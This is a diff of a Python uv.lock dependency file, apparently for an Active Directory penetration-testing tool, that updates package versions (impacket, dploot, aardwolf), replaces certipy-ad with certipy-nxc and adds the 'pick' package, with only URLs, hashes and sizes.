||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
@@ -820,13 +773,6 @@ version = "3.5.5"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" },
|
||||
@@ -932,8 +878,8 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20260814.164800.c23b3d55"
|
||||
source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" }
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
|
||||
dependencies = [
|
||||
{ name = "charset-normalizer" },
|
||||
{ name = "flask" },
|
||||
@@ -1044,22 +990,6 @@ version = "6.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" },
|
||||
@@ -1174,17 +1104,6 @@ version = "3.0.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" },
|
||||
@@ -1364,7 +1283,7 @@ dependencies = [
|
||||
{ name = "beautifulsoup4" },
|
||||
{ name = "bloodhound-ce" },
|
||||
{ name = "certihound" },
|
||||
{ name = "certipy-ad" },
|
||||
{ name = "certipy-nxc" },
|
||||
{ name = "cryptography" },
|
||||
{ name = "dploot" },
|
||||
{ name = "dsinternals" },
|
||||
@@ -1402,15 +1321,15 @@ dev = [
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "aardwolf", specifier = ">=0.2.8" },
|
||||
{ name = "aardwolf", specifier = ">=0.2.16" },
|
||||
{ name = "argcomplete", specifier = ">=3.1.4" },
|
||||
{ name = "asyauth", specifier = ">=0.0.20" },
|
||||
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
|
||||
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
|
||||
{ name = "certihound", specifier = ">=0.1.1" },
|
||||
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
|
||||
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
|
||||
{ name = "cryptography", specifier = ">=42.0.8" },
|
||||
{ name = "dploot", specifier = ">=3.2.2,<4.0.0" },
|
||||
{ name = "dploot", specifier = ">=4.0.0" },
|
||||
{ name = "dsinternals", specifier = ">=1.2.4" },
|
||||
{ name = "impacket", git = "https://github.com/fortra/impacket" },
|
||||
{ name = "jwt", specifier = ">=1.3.1" },
|
||||
@@ -1495,21 +1414,24 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
|
||||
@@ -1674,11 +1596,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" },
|
||||
